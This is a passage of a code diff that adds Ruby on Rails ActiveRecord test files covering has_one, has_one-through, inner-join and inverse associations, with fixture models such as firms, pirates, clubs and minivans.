+  def test_create_association
+    firm = Firm.create(name: "GlobalMegaCorp")
+    account = firm.create_account(credit_limit: 1000)
+    assert_equal account, firm.reload.account
+  end
+
+  def test_create_association_with_bang
+    firm = Firm.create(name: "GlobalMegaCorp")
+    account = firm.create_account!(credit_limit: 1000)
+    assert_equal account, firm.reload.account
+  end
+
+  def test_create_association_with_bang_failing
+    firm = Firm.create(name: "GlobalMegaCorp")
+    assert_raise ActiveRecord::RecordInvalid do
+      firm.create_account!
+    end
+    account = firm.account
+    assert_not_nil account
+    account.credit_limit = 5
+    account.save
+    assert_equal account, firm.reload.account
+  end
+
+  def test_create_with_inexistent_foreign_key_failing
+    firm = Firm.create(name: "GlobalMegaCorp")
+
+    assert_raises(ActiveRecord::UnknownAttributeError) do
+      firm.create_account_with_inexistent_foreign_key
+    end
+  end
+
+  def test_create_when_parent_is_new_raises
+    firm = Firm.new
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
+      firm.create_account
+    end
+
+    assert_equal "You cannot call create unless the parent is saved", error.message
+  end
+
+  def test_reload_association
+    odegy = companies(:odegy)
+
+    assert_equal 53, odegy.account.credit_limit
+    Account.where(id: odegy.account.id).update_all(credit_limit: 80)
+    assert_equal 53, odegy.account.credit_limit
+
+    assert_equal 80, odegy.reload_account.credit_limit
+  end
+
+  def test_build
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.save
+
+    firm.account = account = Account.new("credit_limit" => 1000)
+    assert_equal account, firm.account
+    assert account.save
+    assert_equal account, firm.account
+  end
+
+  def test_create
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.save
+    firm.account = account = Account.create("credit_limit" => 1000)
+    assert_equal account, firm.account
+  end
+
+  def test_create_before_save
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.account = account = Account.create("credit_limit" => 1000)
+    assert_equal account, firm.account
+  end
+
+  def test_dependence_with_missing_association
+    Account.destroy_all
+    firm = Firm.find(1)
+    assert_nil firm.account
+    firm.destroy
+  end
+
+  def test_dependence_with_missing_association_and_nullify
+    Account.destroy_all
+    firm = DependentFirm.first
+    assert_nil firm.account
+    firm.destroy
+  end
+
+  def test_finding_with_interpolated_condition
+    firm = Firm.first
+    superior = firm.clients.create(name: "SuperiorCo")
+    superior.rating = 10
+    superior.save
+    assert_equal 10, firm.clients_with_interpolated_conditions.first.rating
+  end
+
+  def test_assignment_before_child_saved
+    firm = Firm.find(1)
+    firm.account = a = Account.new("credit_limit" => 1000)
+    assert a.persisted?
+    assert_equal a, firm.account
+    assert_equal a, firm.account
+    firm.association(:account).reload
+    assert_equal a, firm.account
+  end
+
+  def test_save_still_works_after_accessing_nil_has_one
+    jp = Company.new name: "Jaded Pixel"
+    jp.dummy_account.nil?
+
+    assert_nothing_raised do
+      jp.save!
+    end
+  end
+
+  def test_cant_save_readonly_association
+    assert_raise(ActiveRecord::ReadOnlyRecord) { companies(:first_firm).readonly_account.save!  }
+    assert companies(:first_firm).readonly_account.readonly?
+  end
+
+  def test_has_one_proxy_should_not_respond_to_private_methods
+    assert_raise(NoMethodError) { accounts(:signals37).private_method }
+    assert_raise(NoMethodError) { companies(:first_firm).account.private_method }
+  end
+
+  def test_has_one_proxy_should_respond_to_private_methods_via_send
+    accounts(:signals37).send(:private_method)
+    companies(:first_firm).account.send(:private_method)
+  end
+
+  def test_save_of_record_with_loaded_has_one
+    @firm = companies(:first_firm)
+    assert_not_nil @firm.account
+
+    assert_nothing_raised do
+      Firm.find(@firm.id).save!
+      Firm.all.merge!(includes: :account).find(@firm.id).save!
+    end
+
+    @firm.account.destroy
+
+    assert_nothing_raised do
+      Firm.find(@firm.id).save!
+      Firm.all.merge!(includes: :account).find(@firm.id).save!
+    end
+  end
+
+  def test_build_respects_hash_condition
+    account = companies(:first_firm).build_account_limit_500_with_hash_conditions
+    assert account.save
+    assert_equal 500, account.credit_limit
+  end
+
+  def test_create_respects_hash_condition
+    account = companies(:first_firm).create_account_limit_500_with_hash_conditions
+    assert       account.persisted?
+    assert_equal 500, account.credit_limit
+  end
+
+  def test_attributes_are_being_set_when_initialized_from_has_one_association_with_where_clause
+    new_account = companies(:first_firm).build_account(firm_name: "Account")
+    assert_equal new_account.firm_name, "Account"
+  end
+
+  def test_creation_failure_without_dependent_option
+    pirate = pirates(:blackbeard)
+    orig_ship = pirate.ship
+
+    assert_equal ships(:black_pearl), orig_ship
+    new_ship = pirate.create_ship
+    assert_not_equal ships(:black_pearl), new_ship
+    assert_equal new_ship, pirate.ship
+    assert new_ship.new_record?
+    assert_nil orig_ship.pirate_id
+    assert !orig_ship.changed? # check it was saved
+  end
+
+  def test_creation_failure_with_dependent_option
+    pirate = pirates(:blackbeard).becomes(DestructivePirate)
+    orig_ship = pirate.dependent_ship
+
+    new_ship = pirate.create_dependent_ship
+    assert new_ship.new_record?
+    assert orig_ship.destroyed?
+  end
+
+  def test_creation_failure_due_to_new_record_should_raise_error
+    pirate = pirates(:redbeard)
+    new_ship = Ship.new
+
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
+      pirate.ship = new_ship
+    end
+
+    assert_equal "Failed to save the new associated ship.", error.message
+    assert_nil pirate.ship
+    assert_nil new_ship.pirate_id
+  end
+
+  def test_replacement_failure_due_to_existing_record_should_raise_error
+    pirate = pirates(:blackbeard)
+    pirate.ship.name = nil
+
+    assert !pirate.ship.valid?
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
+      pirate.ship = ships(:interceptor)
+    end
+
+    assert_equal ships(:black_pearl), pirate.ship
+    assert_equal pirate.id, pirate.ship.pirate_id
+    assert_equal "Failed to remove the existing associated ship. " \
+                 "The record failed to save after its foreign key was set to nil.", error.message
+  end
+
+  def test_replacement_failure_due_to_new_record_should_raise_error
+    pirate = pirates(:blackbeard)
+    new_ship = Ship.new
+
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
+      pirate.ship = new_ship
+    end
+
+    assert_equal "Failed to save the new associated ship.", error.message
+    assert_equal ships(:black_pearl), pirate.ship
+    assert_equal pirate.id, pirate.ship.pirate_id
+    assert_equal pirate.id, ships(:black_pearl).reload.pirate_id
+    assert_nil new_ship.pirate_id
+  end
+
+  def test_association_keys_bypass_attribute_protection
+    car = Car.create(name: "honda")
+
+    bulb = car.build_bulb
+    assert_equal car.id, bulb.car_id
+
+    bulb = car.build_bulb car_id: car.id + 1
+    assert_equal car.id, bulb.car_id
+
+    bulb = car.create_bulb
+    assert_equal car.id, bulb.car_id
+
+    bulb = car.create_bulb car_id: car.id + 1
+    assert_equal car.id, bulb.car_id
+  end
+
+  def test_association_protect_foreign_key
+    pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+
+    ship = pirate.build_ship
+    assert_equal pirate.id, ship.pirate_id
+
+    ship = pirate.build_ship pirate_id: pirate.id + 1
+    assert_equal pirate.id, ship.pirate_id
+
+    ship = pirate.create_ship
+    assert_equal pirate.id, ship.pirate_id
+
+    ship = pirate.create_ship pirate_id: pirate.id + 1
+    assert_equal pirate.id, ship.pirate_id
+  end
+
+  def test_build_with_block
+    car = Car.create(name: "honda")
+
+    bulb = car.build_bulb { |b| b.color = "Red" }
+    assert_equal "RED!", bulb.color
+  end
+
+  def test_create_with_block
+    car = Car.create(name: "honda")
+
+    bulb = car.create_bulb { |b| b.color = "Red" }
+    assert_equal "RED!", bulb.color
+  end
+
+  def test_create_bang_with_block
+    car = Car.create(name: "honda")
+
+    bulb = car.create_bulb! { |b| b.color = "Red" }
+    assert_equal "RED!", bulb.color
+  end
+
+  def test_association_attributes_are_available_to_after_initialize
+    car = Car.create(name: "honda")
+    bulb = car.create_bulb
+
+    assert_equal car.id, bulb.attributes_after_initialize["car_id"]
+  end
+
+  def test_has_one_transaction
+    company = companies(:first_firm)
+    account = Account.find(1)
+
+    company.account # force loading
+    assert_no_queries { company.account = account }
+
+    company.account = nil
+    assert_no_queries { company.account = nil }
+    account = Account.find(2)
+    assert_queries { company.account = account }
+
+    assert_no_queries { Firm.new.account = account }
+  end
+
+  def test_has_one_assignment_dont_trigger_save_on_change_of_same_object
+    pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    ship = pirate.build_ship(name: "old name")
+    ship.save!
+
+    ship.name = "new name"
+    assert ship.changed?
+    assert_queries(1) do
+      # One query for updating name, not triggering query for updating pirate_id
+      pirate.ship = ship
+    end
+
+    assert_equal "new name", pirate.ship.reload.name
+  end
+
+  def test_has_one_assignment_triggers_save_on_change_on_replacing_object
+    pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    ship = pirate.build_ship(name: "old name")
+    ship.save!
+
+    new_ship = Ship.create(name: "new name")
+    assert_queries(2) do
+      # One query to nullify the old ship, one query to update the new ship
+      pirate.ship = new_ship
+    end
+
+    assert_equal "new name", pirate.ship.reload.name
+  end
+
+  def test_has_one_autosave_with_primary_key_manually_set
+    post = Post.create(id: 1234, title: "Some title", body: "Some content")
+    author = Author.new(id: 33, name: "Hank Moody")
+
+    author.post = post
+    author.save
+    author.reload
+
+    assert_not_nil author.post
+    assert_equal author.post, post
+  end
+
+  def test_has_one_loading_for_new_record
+    post = Post.create!(author_id: 42, title: "foo", body: "bar")
+    author = Author.new(id: 42)
+    assert_equal post, author.post
+  end
+
+  def test_has_one_relationship_cannot_have_a_counter_cache
+    assert_raise(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        has_one :thing, counter_cache: true
+      end
+    end
+  end
+
+  def test_with_polymorphic_has_one_with_custom_columns_name
+    post = Post.create! title: "foo", body: "bar"
+    image = Image.create!
+
+    post.main_image = image
+    post.reload
+
+    assert_equal image, post.main_image
+  end
+
+  test "dangerous association name raises ArgumentError" do
+    [:errors, "errors", :save, "save"].each do |name|
+      assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+        Class.new(ActiveRecord::Base) do
+          has_one name
+        end
+      end
+    end
+  end
+
+  class SpecialBook < ActiveRecord::Base
+    self.table_name = "books"
+    belongs_to :author, class_name: "SpecialAuthor"
+    has_one :subscription, class_name: "SpecialSupscription", foreign_key: "subscriber_id"
+  end
+
+  class SpecialAuthor < ActiveRecord::Base
+    self.table_name = "authors"
+    has_one :book, class_name: "SpecialBook", foreign_key: "author_id"
+  end
+
+  class SpecialSupscription < ActiveRecord::Base
+    self.table_name = "subscriptions"
+    belongs_to :book, class_name: "SpecialBook"
+  end
+
+  def test_association_enum_works_properly
+    author = SpecialAuthor.create!(name: "Test")
+    book = SpecialBook.create!(status: "published")
+    author.book = book
+
+    refute_equal 0, SpecialAuthor.joins(:book).where(books: { status: "published" }).count
+  end
+
+  def test_association_enum_works_properly_with_nested_join
+    author = SpecialAuthor.create!(name: "Test")
+    book = SpecialBook.create!(status: "published")
+    author.book = book
+
+    where_clause = { books: { subscriptions: { subscriber_id: nil } } }
+    assert_nothing_raised do
+      SpecialAuthor.joins(book: :subscription).where.not(where_clause)
+    end
+  end
+
+  class DestroyByParentBook < ActiveRecord::Base
+    self.table_name = "books"
+    belongs_to :author, class_name: "DestroyByParentAuthor"
+    before_destroy :dont, unless: :destroyed_by_association
+
+    def dont
+      throw(:abort)
+    end
+  end
+
+  class DestroyByParentAuthor < ActiveRecord::Base
+    self.table_name = "authors"
+    has_one :book, class_name: "DestroyByParentBook", foreign_key: "author_id", dependent: :destroy
+  end
+
+  test "destroyed_by_association set in child destroy callback on parent destroy" do
+    author = DestroyByParentAuthor.create!(name: "Test")
+    book = DestroyByParentBook.create!(author: author)
+
+    author.destroy
+
+    assert_not DestroyByParentBook.exists?(book.id)
+  end
+
+  test "destroyed_by_association set in child destroy callback on replace" do
+    author = DestroyByParentAuthor.create!(name: "Test")
+    book = DestroyByParentBook.create!(author: author)
+
+    author.book = DestroyByParentBook.create!
+    author.save!
+
+    assert_not DestroyByParentBook.exists?(book.id)
+  end
+end
diff --git a/activerecord/test/cases/associations/has_one_through_associations_test.rb b/activerecord/test/cases/associations/has_one_through_associations_test.rb
new file mode 100644
index 0000000000..fe24c465b2
--- /dev/null
+++ b/activerecord/test/cases/associations/has_one_through_associations_test.rb
@@ -0,0 +1,392 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/club"
+require "models/member_type"
+require "models/member"
+require "models/membership"
+require "models/sponsor"
+require "models/organization"
+require "models/member_detail"
+require "models/minivan"
+require "models/dashboard"
+require "models/speedometer"
+require "models/category"
+require "models/author"
+require "models/essay"
+require "models/owner"
+require "models/post"
+require "models/comment"
+require "models/categorization"
+require "models/customer"
+require "models/carrier"
+require "models/shop_account"
+require "models/customer_carrier"
+
+class HasOneThroughAssociationsTest < ActiveRecord::TestCase
+  fixtures :member_types, :members, :clubs, :memberships, :sponsors, :organizations, :minivans,
+           :dashboards, :speedometers, :authors, :author_addresses, :posts, :comments, :categories, :essays, :owners
+
+  def setup
+    @member = members(:groucho)
+  end
+
+  def test_has_one_through_with_has_one
+    assert_equal clubs(:boring_club), @member.club
+  end
+
+  def test_creating_association_creates_through_record
+    new_member = Member.create(name: "Chris")
+    new_member.club = Club.create(name: "LRUG")
+    assert_not_nil new_member.current_membership
+    assert_not_nil new_member.club
+  end
+
+  def test_creating_association_builds_through_record_for_new
+    new_member = Member.new(name: "Jane")
+    new_member.club = clubs(:moustache_club)
+    assert new_member.current_membership
+    assert_equal clubs(:moustache_club), new_member.current_membership.club
+    assert_equal clubs(:moustache_club), new_member.club
+    assert new_member.save
+    assert_equal clubs(:moustache_club), new_member.club
+  end
+
+  def test_creating_association_sets_both_parent_ids_for_new
+    member = Member.new(name: "Sean Griffin")
+    club = Club.new(name: "Da Club")
+
+    member.club = club
+
+    member.save!
+
+    assert member.id
+    assert club.id
+    assert_equal member.id, member.current_membership.member_id
+    assert_equal club.id, member.current_membership.club_id
+  end
+
+  def test_replace_target_record
+    new_club = Club.create(name: "Marx Bros")
+    @member.club = new_club
+    @member.reload
+    assert_equal new_club, @member.club
+  end
+
+  def test_replacing_target_record_deletes_old_association
+    assert_no_difference "Membership.count" do
+      new_club = Club.create(name: "Bananarama")
+      @member.club = new_club
+      @member.reload
+    end
+  end
+
+  def test_set_record_to_nil_should_delete_association
+    @member.club = nil
+    @member.reload
+    assert_nil @member.current_membership
+    assert_nil @member.club
+  end
+
+  def test_set_record_after_delete_association
+    @member.club = nil
+    @member.club = clubs(:moustache_club)
+    @member.reload
+    assert_equal clubs(:moustache_club), @member.club
+  end
+
+  def test_has_one_through_polymorphic
+    assert_equal clubs(:moustache_club), @member.sponsor_club
+  end
+
+  def test_has_one_through_eager_loading
+    members = assert_queries(3) do #base table, through table, clubs table
+      Member.all.merge!(includes: :club, where: ["name = ?", "Groucho Marx"]).to_a
+    end
+    assert_equal 1, members.size
+    assert_not_nil assert_no_queries { members[0].club }
+  end
+
+  def test_has_one_through_eager_loading_through_polymorphic
+    members = assert_queries(3) do #base table, through table, clubs table
+      Member.all.merge!(includes: :sponsor_club, where: ["name = ?", "Groucho Marx"]).to_a
+    end
+    assert_equal 1, members.size
+    assert_not_nil assert_no_queries { members[0].sponsor_club }
+  end
+
+  def test_has_one_through_with_conditions_eager_loading
+    # conditions on the through table
+    assert_equal clubs(:moustache_club), Member.all.merge!(includes: :favourite_club).find(@member.id).favourite_club
+    memberships(:membership_of_favourite_club).update_columns(favourite: false)
+    assert_nil Member.all.merge!(includes: :favourite_club).find(@member.id).reload.favourite_club
+
+    # conditions on the source table
+    assert_equal clubs(:moustache_club), Member.all.merge!(includes: :hairy_club).find(@member.id).hairy_club
+    clubs(:moustache_club).update_columns(name: "Association of Clean-Shaven Persons")
+    assert_nil Member.all.merge!(includes: :hairy_club).find(@member.id).reload.hairy_club
+  end
+
+  def test_has_one_through_polymorphic_with_source_type
+    assert_equal members(:groucho), clubs(:moustache_club).sponsored_member
+  end
+
+  def test_eager_has_one_through_polymorphic_with_source_type
+    clubs = Club.all.merge!(includes: :sponsored_member, where: ["name = ?", "Moustache and Eyebrow Fancier Club"]).to_a
+    # Only the eyebrow fanciers club has a sponsored_member
+    assert_not_nil assert_no_queries { clubs[0].sponsored_member }
+  end
+
+  def test_has_one_through_nonpreload_eagerloading
+    members = assert_queries(1) do
+      Member.all.merge!(includes: :club, where: ["members.name = ?", "Groucho Marx"], order: "clubs.name").to_a #force fallback
+    end
+    assert_equal 1, members.size
+    assert_not_nil assert_no_queries { members[0].club }
+  end
+
+  def test_has_one_through_nonpreload_eager_loading_through_polymorphic
+    members = assert_queries(1) do
+      Member.all.merge!(includes: :sponsor_club, where: ["members.name = ?", "Groucho Marx"], order: "clubs.name").to_a #force fallback
+    end
+    assert_equal 1, members.size
+    assert_not_nil assert_no_queries { members[0].sponsor_club }
+  end
+
+  def test_has_one_through_nonpreload_eager_loading_through_polymorphic_with_more_than_one_through_record
+    Sponsor.new(sponsor_club: clubs(:crazy_club), sponsorable: members(:groucho)).save!
+    members = assert_queries(1) do
+      Member.all.merge!(includes: :sponsor_club, where: ["members.name = ?", "Groucho Marx"], order: "clubs.name DESC").to_a #force fallback
+    end
+    assert_equal 1, members.size
+    assert_not_nil assert_no_queries { members[0].sponsor_club }
+    assert_equal clubs(:crazy_club), members[0].sponsor_club
+  end
+
+  def test_uninitialized_has_one_through_should_return_nil_for_unsaved_record
+    assert_nil Member.new.club
+  end
+
+  def test_assigning_association_correctly_assigns_target
+    new_member = Member.create(name: "Chris")
+    new_member.club = new_club = Club.create(name: "LRUG")
+    assert_equal new_club, new_member.association(:club).target
+  end
+
+  def test_has_one_through_proxy_should_not_respond_to_private_methods
+    assert_raise(NoMethodError) { clubs(:moustache_club).private_method }
+    assert_raise(NoMethodError) { @member.club.private_method }
+  end
+
+  def test_has_one_through_proxy_should_respond_to_private_methods_via_send
+    clubs(:moustache_club).send(:private_method)
+    @member.club.send(:private_method)
+  end
+
+  def test_assigning_to_has_one_through_preserves_decorated_join_record
+    @organization = organizations(:nsa)
+    assert_difference "MemberDetail.count", 1 do
+      @member_detail = MemberDetail.new(extra_data: "Extra")
+      @member.member_detail = @member_detail
+      @member.organization = @organization
+    end
+    assert_equal @organization, @member.organization
+    assert_includes @organization.members, @member
+    assert_equal "Extra", @member.member_detail.extra_data
+  end
+
+  def test_reassigning_has_one_through
+    @organization = organizations(:nsa)
+    @new_organization = organizations(:discordians)
+
+    assert_difference "MemberDetail.count", 1 do
+      @member_detail = MemberDetail.new(extra_data: "Extra")
+      @member.member_detail = @member_detail
+      @member.organization = @organization
+    end
+    assert_equal @organization, @member.organization
+    assert_equal "Extra", @member.member_detail.extra_data
+    assert_includes @organization.members, @member
+    assert_not_includes @new_organization.members, @member
+
+    assert_no_difference "MemberDetail.count" do
+      @member.organization = @new_organization
+    end
+    assert_equal @new_organization, @member.organization
+    assert_equal "Extra", @member.member_detail.extra_data
+    assert_not_includes @organization.members, @member
+    assert_includes @new_organization.members, @member
+  end
+
+  def test_preloading_has_one_through_on_belongs_to
+    MemberDetail.delete_all
+    assert_not_nil @member.member_type
+    @organization = organizations(:nsa)
+    @member_detail = MemberDetail.new
+    @member.member_detail = @member_detail
+    @member.organization = @organization
+    @member_details = assert_queries(3) do
+      MemberDetail.all.merge!(includes: :member_type).to_a
+    end
+    @new_detail = @member_details[0]
+    assert @new_detail.send(:association, :member_type).loaded?
+    assert_no_queries { @new_detail.member_type }
+  end
+
+  def test_save_of_record_with_loaded_has_one_through
+    @club = @member.club
+    assert_not_nil @club.sponsored_member
+
+    assert_nothing_raised do
+      Club.find(@club.id).save!
+      Club.all.merge!(includes: :sponsored_member).find(@club.id).save!
+    end
+
+    @club.sponsor.destroy
+
+    assert_nothing_raised do
+      Club.find(@club.id).save!
+      Club.all.merge!(includes: :sponsored_member).find(@club.id).save!
+    end
+  end
+
+  def test_through_belongs_to_after_destroy
+    @member_detail = MemberDetail.new(extra_data: "Extra")
+    @member.member_detail = @member_detail
+    @member.save!
+
+    assert_not_nil @member_detail.member_type
+    @member_detail.destroy
+    assert_queries(1) do
+      @member_detail.association(:member_type).reload
+      assert_not_nil @member_detail.member_type
+    end
+
+    @member_detail.member.destroy
+    assert_queries(1) do
+      @member_detail.association(:member_type).reload
+      assert_nil @member_detail.member_type
+    end
+  end
+
+  def test_value_is_properly_quoted
+    minivan = Minivan.find("m1")
+    assert_nothing_raised do
+      minivan.dashboard
+    end
+  end
+
+  def test_has_one_through_polymorphic_with_primary_key_option
+    assert_equal categories(:general), authors(:david).essay_category
+
+    authors = Author.joins(:essay_category).where("categories.id" => categories(:general).id)
+    assert_equal authors(:david), authors.first
+
+    assert_equal owners(:blackbeard), authors(:david).essay_owner
+
+    authors = Author.joins(:essay_owner).where("owners.name = 'blackbeard'")
+    assert_equal authors(:david), authors.first
+  end
+
+  def test_has_one_through_with_primary_key_option
+    assert_equal categories(:general), authors(:david).essay_category_2
+
+    authors = Author.joins(:essay_category_2).where("categories.id" => categories(:general).id)
+    assert_equal authors(:david), authors.first
+  end
+
+  def test_has_one_through_with_default_scope_on_join_model
+    assert_equal posts(:welcome).comments.order("id").first, authors(:david).comment_on_first_post
+  end
+
+  def test_has_one_through_many_raises_exception
+    assert_raise(ActiveRecord::HasOneThroughCantAssociateThroughCollection) do
+      members(:groucho).club_through_many
+    end
+  end
+
+  def test_has_one_through_polymorphic_association
+    assert_raise(ActiveRecord::HasOneAssociationPolymorphicThroughError) do
+      @member.premium_club
+    end
+  end
+
+  def test_has_one_through_belongs_to_should_update_when_the_through_foreign_key_changes
+    minivan = minivans(:cool_first)
+
+    minivan.dashboard
+    proxy = minivan.send(:association_instance_get, :dashboard)
+
+    assert !proxy.stale_target?
+    assert_equal dashboards(:cool_first), minivan.dashboard
+
+    minivan.speedometer_id = speedometers(:second).id
+
+    assert proxy.stale_target?
+    assert_equal dashboards(:second), minivan.dashboard
+  end
+
+  def test_has_one_through_belongs_to_setting_belongs_to_foreign_key_after_nil_target_loaded
+    minivan = Minivan.new
+
+    minivan.dashboard
+    proxy = minivan.send(:association_instance_get, :dashboard)
+
+    minivan.speedometer_id = speedometers(:second).id
+
+    assert proxy.stale_target?
+    assert_equal dashboards(:second), minivan.dashboard
+  end
+
+  def test_assigning_has_one_through_belongs_to_with_new_record_owner
+    minivan   = Minivan.new
+    dashboard = dashboards(:cool_first)
+
+    minivan.dashboard = dashboard
+
+    assert_equal dashboard, minivan.dashboard
+    assert_equal dashboard, minivan.speedometer.dashboard
+  end
+
+  def test_has_one_through_with_custom_select_on_join_model_default_scope
+    assert_equal clubs(:boring_club), members(:groucho).selected_club
+  end
+
+  def test_has_one_through_relationship_cannot_have_a_counter_cache
+    assert_raise(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        has_one :thing, through: :other_thing, counter_cache: true
+      end
+    end
+  end
+
+  def test_has_one_through_do_not_cache_association_reader_if_the_though_method_has_default_scopes
+    customer = Customer.create!
+    carrier = Carrier.create!
+    customer_carrier = CustomerCarrier.create!(
+      customer: customer,
+      carrier: carrier,
+    )
+    account = ShopAccount.create!(customer_carrier: customer_carrier)
+
+    CustomerCarrier.current_customer = customer
+
+    account_carrier = account.carrier
+    assert_equal carrier, account_carrier
+
+    CustomerCarrier.current_customer = nil
+
+    other_carrier = Carrier.create!
+    other_customer = Customer.create!
+    other_customer_carrier = CustomerCarrier.create!(
+      customer: other_customer,
+      carrier: other_carrier,
+    )
+    other_account = ShopAccount.create!(customer_carrier: other_customer_carrier)
+
+    account_carrier = other_account.carrier
+    assert_equal other_carrier, account_carrier
+  ensure
+    CustomerCarrier.current_customer = nil
+  end
+end
diff --git a/activerecord/test/cases/associations/inner_join_association_test.rb b/activerecord/test/cases/associations/inner_join_association_test.rb
new file mode 100644
index 0000000000..23be344419
--- /dev/null
+++ b/activerecord/test/cases/associations/inner_join_association_test.rb
@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+require "models/author"
+require "models/essay"
+require "models/category"
+require "models/categorization"
+require "models/person"
+require "models/tagging"
+require "models/tag"
+
+class InnerJoinAssociationTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :essays, :posts, :comments, :categories, :categories_posts, :categorizations,
+           :taggings, :tags
+
+  def test_construct_finder_sql_applies_aliases_tables_on_association_conditions
+    result = Author.joins(:thinking_posts, :welcome_posts).to_a
+    assert_equal authors(:david), result.first
+  end
+
+  def test_construct_finder_sql_does_not_table_name_collide_on_duplicate_associations
+    assert_nothing_raised do
+      sql = Person.joins(agents: { agents: :agents }).joins(agents: { agents: { primary_contact: :agents } }).to_sql
+      assert_match(/agents_people_4/i, sql)
+    end
+  end
+
+  def test_construct_finder_sql_ignores_empty_joins_hash
+    sql = Author.joins({}).to_sql
+    assert_no_match(/JOIN/i, sql)
+  end
+
+  def test_construct_finder_sql_ignores_empty_joins_array
+    sql = Author.joins([]).to_sql
+    assert_no_match(/JOIN/i, sql)
+  end
+
+  def test_join_conditions_added_to_join_clause
+    sql = Author.joins(:essays).to_sql
+    assert_match(/writer_type.*?=.*?Author/i, sql)
+    assert_no_match(/WHERE/i, sql)
+  end
+
+  def test_join_association_conditions_support_string_and_arel_expressions
+    assert_equal 0, Author.joins(:welcome_posts_with_one_comment).count
+    assert_equal 1, Author.joins(:welcome_posts_with_comments).count
+  end
+
+  def test_join_conditions_allow_nil_associations
+    authors = Author.includes(:essays).where(essays: { id: nil })
+    assert_equal 2, authors.count
+  end
+
+  def test_find_with_implicit_inner_joins_without_select_does_not_imply_readonly
+    authors = Author.joins(:posts)
+    assert_not authors.empty?, "expected authors to be non-empty"
+    assert authors.none?(&:readonly?), "expected no authors to be readonly"
+  end
+
+  def test_find_with_implicit_inner_joins_honors_readonly_with_select
+    authors = Author.joins(:posts).select("authors.*").to_a
+    assert !authors.empty?, "expected authors to be non-empty"
+    assert authors.all? { |a| !a.readonly? }, "expected no authors to be readonly"
+  end
+
+  def test_find_with_implicit_inner_joins_honors_readonly_false
+    authors = Author.joins(:posts).readonly(false).to_a
+    assert !authors.empty?, "expected authors to be non-empty"
+    assert authors.all? { |a| !a.readonly? }, "expected no authors to be readonly"
+  end
+
+  def test_find_with_implicit_inner_joins_does_not_set_associations
+    authors = Author.joins(:posts).select("authors.*").to_a
+    assert !authors.empty?, "expected authors to be non-empty"
+    assert authors.all? { |a| !a.instance_variable_defined?(:@posts) }, "expected no authors to have the @posts association loaded"
+  end
+
+  def test_count_honors_implicit_inner_joins
+    real_count = Author.all.to_a.sum { |a| a.posts.count }
+    assert_equal real_count, Author.joins(:posts).count, "plain inner join count should match the number of referenced posts records"
+  end
+
+  def test_calculate_honors_implicit_inner_joins
+    real_count = Author.all.to_a.sum { |a| a.posts.count }
+    assert_equal real_count, Author.joins(:posts).calculate(:count, "authors.id"), "plain inner join count should match the number of referenced posts records"
+  end
+
+  def test_calculate_honors_implicit_inner_joins_and_distinct_and_conditions
+    real_count = Author.all.to_a.select { |a| a.posts.any? { |p| p.title.start_with?("Welcome") } }.length
+    authors_with_welcoming_post_titles = Author.all.merge!(joins: :posts, where: "posts.title like 'Welcome%'").distinct.calculate(:count, "authors.id")
+    assert_equal real_count, authors_with_welcoming_post_titles, "inner join and conditions should have only returned authors posting titles starting with 'Welcome'"
+  end
+
+  def test_find_with_sti_join
+    scope = Post.joins(:special_comments).where(id: posts(:sti_comments).id)
+
+    # The join should match SpecialComment and its subclasses only
+    assert scope.where("comments.type" => "Comment").empty?
+    assert !scope.where("comments.type" => "SpecialComment").empty?
+    assert !scope.where("comments.type" => "SubSpecialComment").empty?
+  end
+
+  def test_find_with_conditions_on_reflection
+    assert !posts(:welcome).comments.empty?
+    assert Post.joins(:nonexistent_comments).where(id: posts(:welcome).id).empty? # [sic!]
+  end
+
+  def test_find_with_conditions_on_through_reflection
+    assert !posts(:welcome).tags.empty?
+    assert Post.joins(:misc_tags).where(id: posts(:welcome).id).empty?
+  end
+
+  test "the default scope of the target is applied when joining associations" do
+    author = Author.create! name: "Jon"
+    author.categorizations.create!
+    author.categorizations.create! special: true
+
+    assert_equal [author], Author.where(id: author).joins(:special_categorizations)
+  end
+
+  test "the default scope of the target is correctly aliased when joining associations" do
+    author = Author.create! name: "Jon"
+    author.categories.create! name: "Not Special"
+    author.special_categories.create! name: "Special"
+
+    categories = author.categories.includes(:special_categorizations).references(:special_categorizations).to_a
+    assert_equal 2, categories.size
+  end
+
+  test "the correct records are loaded when including an aliased association" do
+    author = Author.create! name: "Jon"
+    author.categories.create! name: "Not Special"
+    author.special_categories.create! name: "Special"
+
+    categories = author.categories.eager_load(:special_categorizations).order(:name).to_a
+    assert_equal 0, categories.first.special_categorizations.size
+    assert_equal 1, categories.second.special_categorizations.size
+  end
+end
diff --git a/activerecord/test/cases/associations/inverse_associations_test.rb b/activerecord/test/cases/associations/inverse_associations_test.rb
new file mode 100644
index 0000000000..536077fb92
--- /dev/null
+++ b/activerecord/test/cases/associations/inverse_associations_test.rb
@@ -0,0 +1,690 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/man"
+require "models/face"
+require "models/interest"
+require "models/zine"
+require "models/club"
+require "models/sponsor"
+require "models/rating"
+require "models/comment"
+require "models/car"
+require "models/bulb"
+require "models/mixed_case_monkey"
+require "models/admin"
+require "models/admin/account"
+require "models/admin/user"
+require "models/developer"
+require "models/company"
+require "models/project"
+
+class AutomaticInverseFindingTests < ActiveRecord::TestCase
+  fixtures :ratings, :comments, :cars
+
+  def test_has_one_and_belongs_to_should_find_inverse_automatically_on_multiple_word_name
+    monkey_reflection = MixedCaseMonkey.reflect_on_association(:man)
+    man_reflection = Man.reflect_on_association(:mixed_case_monkey)
+
+    assert monkey_reflection.has_inverse?, "The monkey reflection should have an inverse"
+    assert_equal man_reflection, monkey_reflection.inverse_of, "The monkey reflection's inverse should be the man reflection"
+
